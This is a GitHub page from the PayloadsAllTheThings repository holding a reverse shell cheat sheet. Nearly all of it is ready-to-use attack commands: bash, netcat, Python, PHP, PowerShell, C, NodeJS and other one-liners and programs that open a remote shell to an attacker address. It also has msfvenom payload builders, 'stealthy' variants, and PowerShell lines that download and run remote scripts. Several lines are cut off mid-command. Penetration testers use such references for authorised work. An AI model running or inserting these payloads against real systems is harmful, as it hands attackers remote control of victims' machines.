





Sign in


 [swisskyrepo](#) /


[PayloadsAllTheThings](#) Public


 Sponsor


 Notifications


 Fork 14.6k


 Star 61.1k


 Code

 Pull requests 24

 Actions

 Projects

 Security

 Insights

[PayloadsAllTheThings](#) / [Methodology and Resources](#) / [Reverse Shell Cheatsheet.md](#) 



 **netcode** fix rm bug in netcat reverseshell on OpenBSD & BusyBox d7e357f · 2 years ago 


582 lines (439 loc) · 22.2 KB


Preview

Code

Blame

Raw







# Reverse Shell Cheat Sheet

---

## Summary

- [Tools](#)
- [Reverse Shell](#)
  - [Awk](#)
  - [Automatic Reverse Shell Generator](#)
  - [Bash TCP](#)
  - [Bash UDP](#)
  - [C](#)
  - [Dart](#)
  - [Golang](#)
  - [Groovy Alternative 1](#)
  - [Groovy](#)
  - [Java Alternative 1](#)

- [Java Alternative 2](#)
- [Java](#)
- [Lua](#)
- [Ncat](#)
- [Netcat OpenBsd](#)
- [Netcat BusyBox](#)
- [Netcat Traditional](#)
- [NodeJS](#)
- [OpenSSL](#)
- [Perl](#)
- [PHP](#)
- [Powershell](#)
- [Python](#)
- [Ruby](#)
- [Socat](#)
- [Telnet](#)
- [War](#)
- [Meterpreter Shell](#)
  - [Windows Staged reverse TCP](#)
  - [Windows Stageless reverse TCP](#)
  - [Linux Staged reverse TCP](#)
  - [Linux Stageless reverse TCP](#)
  - [Other platforms](#)
- [Spawn TTY Shell](#)
- [References](#)

## Tools

---

- [reverse-shell-generator](#) - Hosted Reverse Shell generator ([source](#))

The screenshot shows the 'Reverse Shell Generator' web application. It has a dark theme. At the top, the title 'Reverse Shell Generator' is displayed. Below the title, there are two main sections: 'IP & Port' and 'Listener'. The 'IP & Port' section has input fields for 'IP' (10.1.3.37), 'Port' (9001), and a '+1' button. The 'Listener' section has a 'Type' dropdown set to 'nc' and a 'Copy' button. Below these sections, there are tabs for 'Reverse', 'Bind', and 'MSFVenom'. The 'Reverse' tab is selected. Under the 'Reverse' tab, there is an 'OS' dropdown set to 'All' and a 'Show Advanced' toggle. A list of payloads is shown on the left, with 'Bash -i' selected. The main area displays the generated command: `sh -i >& /dev/tcp/10.1.3.37/9001 0>&1`. At the bottom, there are 'Shell' and 'Encoding' dropdowns, both set to 'sh' and 'None' respectively, and 'Raw' and 'Copy' buttons.

- [revshellgen](#) - CLI Reverse Shell generator

## Reverse Shell

### Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```



## Bash UDP

```
Victim:  
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
```

```
Listener:  
nc -u -lvp 4242
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

## Socat

```
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242  
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1
```

```
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
```

Static socat binary can be found at <https://github.com/andrew-d/static-binaries>

## Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname($i));if($?)  
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r
```

NOTE: Windows only

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r
```

## Python

Linux only

IPv4

```
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket
```

```
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_
```

```
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STR
```

## IPv4 (No Spaces)

```
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s
```

```
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__im
```

```
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket
```

## IPv4 (No Spaces, Shortened)

```
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s
```

```
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket
```

```
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,l
```

## IPv4 (No Spaces, Shortened Further)

```
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s()
```

```
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2
```

```
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect
```

## IPv6

```
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM)
```

## IPv6 (No Spaces)

```
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=
```

## IPv6 (No Spaces, Shortened)

```
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c
```

## Windows only

```
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[(s.connect(('10.0.0.1
```

## PHP

```
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`';  
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```

```
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock
```

## Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&3 >&3 2>&3");'
```

```
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp
```

NOTE: Windows only

```
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cm
```

## Golang

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10
```

## Netcat Traditional

```
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```

## Netcat OpenBsd

```
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

## Netcat BusyBox

```
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

## Ncat

```
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```

## OpenSSL

Attacker:

```
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -day:
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
```

```
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -co
```

TLS-PSK (does not rely on PKI or self-signed certificates)

```
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"
```

## Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets
```

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4
```

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubuserc
```

## Awk

```
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s;
```

## Java

```
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while r
p.waitFor());
```

### Java Alternative 1



```
String host="127.0.0.1";  
int port=4444;  
String cmd="cmd.exe";  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new S
```



## Java Alternative 2

**NOTE:** This is more stealthy

```
Thread thread = new Thread(){  
    public void run(){  
        // Reverse shell here  
    }  
}  
thread.start();
```



## Telnet

In Attacker machine start two listeners:

```
nc -lvp 8080  
nc -lvp 8081
```



In Victime machine run below command:

```
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```

## War

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war  
strings reverse.war | grep jsp # in order to get the name of the file
```



## Lua

Linux only

```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242')
```



Windows and Linux

```
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") lo
```

## NodeJS

```
(function(){  
    var net = require("net"),  
        cp = require("child_process"),  
        sh = cp.spawn("/bin/sh", []);  
    var client = new net.Socket();  
    client.connect(4242, "10.0.0.1", function(){  
        client.pipe(sh.stdin);  
        sh.stdout.pipe(client);  
        sh.stderr.pipe(client);  
    });  
    return /a/; // Prevents the Node.js application form crashing  
})();
```

or

```
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
```

or

```
-var x = global.process.mainModule.require  
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
```

or

<https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py>

## Groovy

by [frohoff](#) NOTE: Java reverse shell also work for Groovy

```
String host="10.0.0.1";  
int port=4242;  
String cmd="cmd.exe";  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new S
```

## Groovy Alternative 1

**NOTE:** This is more stealthy

```
Thread.start {  
    // Reverse shell here  
}
```



## C

Compile with `gcc /tmp/shell.c --output csh && csh`

```
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
  
int main(void){  
    int port = 4242;  
    struct sockaddr_in revsockaddr;  
  
    int sockt = socket(AF_INET, SOCK_STREAM, 0);  
    revsockaddr.sin_family = AF_INET;  
    revsockaddr.sin_port = htons(port);  
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");  
  
    connect(sockt, (struct sockaddr *) &revsockaddr,  
sizeof(revsockaddr));  
    dup2(sockt, 0);  
    dup2(sockt, 1);  
    dup2(sockt, 2);  
  
    char * const argv[] = {"/bin/sh", NULL};  
    execve("/bin/sh", argv, NULL);  
  
    return 0;  
}
```



## Dart

```
import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.0.0.1", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCode(data.trim()));
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}
```

## Meterpreter Shell

### Windows Staged reverse TCP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > revl
```

### Windows Stageless reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.e
```

### Linux Staged reverse TCP

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >rev
```

### Linux Stageless reverse TCP

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.l
```

## Other platforms

```
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe >
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > she
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp >
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shel
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shel
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > she
```

## Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.

```
rlwrap nc 10.0.0.1 4242

rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
```

Sometimes, you want to access shortcuts, `su`, `nano` and autocomplete in a partially tty shell.

⚠ OhMyZSH might break this trick, a simple `sh` is recommended

The main problem here is that `zsh` doesn't handle the `stty` command the same way `bash` or `sh` does. [...] `stty raw -echo; fg[...]` If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the `fg` command, your `-echo` command already lost its effect

```
ctrl+z
echo $TERM && tput lines && tput cols

# for bash
stty raw -echo
fg
```

```
# for zsh
stty raw -echo; fg

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```

or use `socat` binary to get a fully tty reverse shell

```
socat file:`tty`,raw,echo=0 tcp-listen:12345
```



Spawn a TTY shell from an interpreter

```
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `'/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```



- vi: `:!bash`
- vi: `:set shell=/bin/bash:shell`
- nmap: `!sh`
- mysql: `! bash`

Alternative TTY method

```
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
```



```
user@debian:~$
```

## Fully interactive reverse shell on Windows

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function [CreatePseudoConsole\(\)](#). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

```
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```



Client Side:

```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1)
```



Offline version of the ps1 available at -->

<https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1>

## References

- [Reverse Bash Shell One Liner](#)
- [Pentest Monkey - Cheat Sheet Reverse shell](#)
- [Spawning a TTY Shell](#)
- [Obtaining a fully interactive shell](#)